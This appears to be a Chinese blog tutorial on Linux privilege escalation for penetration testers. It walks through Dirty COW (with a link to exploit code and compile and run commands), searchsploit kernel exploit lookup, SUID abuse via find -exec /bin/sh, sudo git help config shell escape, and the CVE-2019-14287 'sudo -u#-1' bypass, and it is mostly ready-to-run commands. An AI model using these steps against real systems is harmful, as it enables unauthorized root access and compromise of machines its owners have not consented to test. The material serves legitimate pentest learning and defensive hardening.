• Linux提权


    0x00 前言

    渗透测试过程中,拿到低权限shell后,要进一步操作往往需要进行提权。

    0x01 常见Linux提权方法

    • 内核版本漏洞提权
    • SUID提权
    • git提权
    • sudo提权(CVE-2019-14287)

    0x02 Linux提权前的信息收集

    1.查看内核版本

    uname -a
    

    2.查看发行版本

    cat /etc/issue
    cat /etc/*-release
    

    0x03 内核漏洞提权

    1.脏牛漏洞提权

    低权限用户利用该漏洞技术可以在全版本上实现本地提权

    漏洞利用条件:内核版本>=2.6.22

    exp下载地址:https://github.com/FireFart/dirtycow

    本地复现:

    1.查看内核版本

    2.将exp放到/tmp目录下(tmp目录权限较高)

     3.对dirty.c进行gcc编译生成一个可执行文件

    gcc -pthread dirty.c -o dirty -lcryp
    

    4.运行dirty文件即可进行本地提取

    ./dirty passwd
    

    几分钟后出现如下结果

     

     此时切换到firefart用户,密码为passwd

    可以看到已经是root用户

    2.其他内核版本提权

    在linux的内核版本不满足脏牛提权的条件时,就需要查看其他版本的内核漏洞。在搜集了目标机器的内核版本后,可以使用searchsploit搜寻各种发行版本的漏洞。

    查询一个CentOS 7 内核版本为3.10的内核漏洞

    searchspolit centos 7 kernel 3.10

    随后需要打开exp查看具体要求,选择和合适的进行利用

    最后将合适的exp放到靶机上编译后执行

    内核漏洞提权对内核版本、目标机器的环境要求较高(需要安装gcc),所以成功率一般较低。

    0x04 SUID提权

    SUID(Set User ID):是一种特殊的文件属性,允许用户在指令执行时,拥有文件拥有者的权限

    SUID提权:运行root用户拥有的SUID文件,即可获得root用户权限

    常见的可用于SUID提权的文件有

    find、bash、nmap、vim、more、less、nano、cp 

    一般拿到shell后,首先查找下具有root权限的SUID文件

    find / -perm -u=s -type f 2>/dev/null

    1.find提权

    先看看find的权限

    确实是root权限

    随后执行以下命令进行提权

    touch test    //创建一个test文件
    find test -exec '/bin/sh' ;
    

    可以看到成功提升到root权限

    0x05 git提权

    首先查看可以无密码使用root权限的命令

    sudo -l    #查看可以使用root权限无密码的命令
    

    发现有git命令

    执行命令进行提权

    sudo git help config  #提权
    !/bin/sh
    

    成功切换到root权限

    0x06 sudo提权(比较鸡肋)

    sudo提权是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标Linux系统上以root身份执行任意命令

    使用sudo提权需要满足两个条件

    1.执行sudo -V的到的版本<1.8.28

    2.配置文件中需要有特定配置

    配置文件/etc/sudoers中使用ALL关键词

    test ALL=(ALL,!root) ALL    //表示test用户可以使用sudo命令,以除了root以外的任意身份去执行命令
    

    切换到test用户下执行命令

    sudo -u#-1 id
    

    将用户ID转换为用户名的函数会将-1误认为0,正好是root用户的User ID

    成功切换到root用户

  • 相关阅读:
    三、类的实例方法(阶段三)
    二、类的构造方法(阶段三)
    一、对象与类的区别(阶段三)
    五、数组(阶段二)
    四、(续)流程控制--while for(阶段二)
    四、流程控制--if else和switch(阶段二)
    Java 自带的加密类MessageDigest类(加密MD5和SHA)
    java实现微信扫一扫详解
    springmvc字符编码过滤器CharacterEncodingFilter浅析
    Spring的初始化:org.springframework.web.context.ContextLoaderListener
  • 原文地址:https://www.cnblogs.com/Cl0wn/p/12911902.html
Copyright © 2020-2023  润新知